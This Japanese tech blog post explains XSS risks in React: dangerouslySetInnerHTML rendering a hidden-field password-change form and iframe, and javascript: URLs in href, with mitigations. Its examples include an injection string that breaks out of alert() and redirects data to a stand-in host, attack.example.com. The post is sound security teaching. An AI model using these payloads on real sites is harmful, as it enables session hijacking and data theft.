16
Help us understand the problem. What are the problem?

More than 1 year has passed since last update.

posted at

updated at

Organization

Reactで発生しうるXSS脆弱性

JSX内の式埋め込みでは、基本的にHTMLとして解釈されないようエスケープされます。ですが、危険性がゼロなわけではありません。

Reactの標準エスケープ

App.jsx
const App = () => {
  const userInputText1 = `<script>alert("XSS!")</script>`;
  const userInputText2 = `<div>DIV!</div>`;

  return (
    <div>
      {userInputText1}
      {userInputText2}
    </div>
  );
}

結果

正しくエスケープされている

スクリーンショット 2020-11-07 13.36.28.png

XSSの発生パターン

1. dangerouslySetInnerHTMLの利用

React公式のエスケープを無効化するオプションです。基本的に使いませんが、どうしてもHTMLとして認識させたい場合などに利用するそうです。

App.jsx
const App = () => {
  const userInputText1 = `<script>alert("XSS!")</script>`;
  const userInputText2 = `<div>DIV!</div>`;
  const userInputText3 = '
    <form action="http://api.example.com/change_password" method="POST">
      <input type="hidden" name="password" value="hack" />
      <input type="submit" value="これ見て!" />
    </form>
  ';
  const userInputText4 = `<iframe src="https://qiita.com"></iframe>`;

  return (
    <div>
      <div dangerouslySetInnerHTML={{ __html: userInputText1 }} />
      <div dangerouslySetInnerHTML={{ __html: userInputText2 }} />
      <div dangerouslySetInnerHTML={{ __html: userInputText3 }} />
      <div dangerouslySetInnerHTML={{ __html: userInputText4 }} />
    </div>
  );
};

結果

タグが適用されている

スクリーンショット 2020-11-07 13.56.38.png

まず、scriptタグは無視されます。これは、ES仕様のとしてinnerHTMLでのscriptが動作しないだけで、他のあらゆる要素は解釈されます。

もちろん、iframeformは正常に表示されてしまいます。この時点でXSRF対策が不十分であったりすると、重大なセキュリティ事故につながります。

対策

使わない。どうしても利用したい場合は、徹底的にエスケープを行う。

2. javascriptスキームの悪用

href属性は、先頭がjavascript:から始まる場合はそれ以降の文字列をjavascriptとして実行します。もちろんwindow.locationオブジェクトへの操作も同様です。

App.jsx
const App = () => {
  const userInputText1 = `javascript: alert('Warning!')`;

  // locationオブジェクトへの操作も同様
  // window.location.href = userInputText1;

  return (
    <div>
      <a href={`${userInputText1}/edit`}>link</a>
    </div>
  );
};

結果

javascriptが実行されてしまっている

スクリーンショット 2020-11-07 15.16.59.png

対策

先頭からユーザーが決められる文字列を挿入しない。そもそも先頭に/をつける。

<a href={`/${userInputText1}/edit`}>link</a>

基本はサーバーの生成する一意のIDやランダム文字列を識別子として扱うように設計すると安全な気がします。(例えばユーザー名に/などの記号が紛れ込んでしまっていても、意図しない遷移先に書き換えられる恐れがあるので)

hrefの最悪な使い方

極端ですが、こんなことをした日には、Reactエンジニア失格です...。普通にonClickを使いましょう。

jsx
const App = () => {
  // 悪意のある値
  const userInput = "');location.href = 'http://attack.example.com?data=secret_data';//";

  const hrefAction = `
    alert('${userInput}');
  `;

  return (
    <div>
      <a href={`javascript:${hrefAction}`}>link</a>
    </div>
  );
};

終わりに

ご指摘等あれば、コメントよろしくお願いします。

Why not register and get more from Qiita?
  1. We will deliver articles that match you
    By following users and tags, you can catch up information on technical fields that you are interested in as a whole
  2. you can read useful information later efficiently
    By "stocking" the articles you like, you can search right away
16
Help us understand the problem. What are the problem?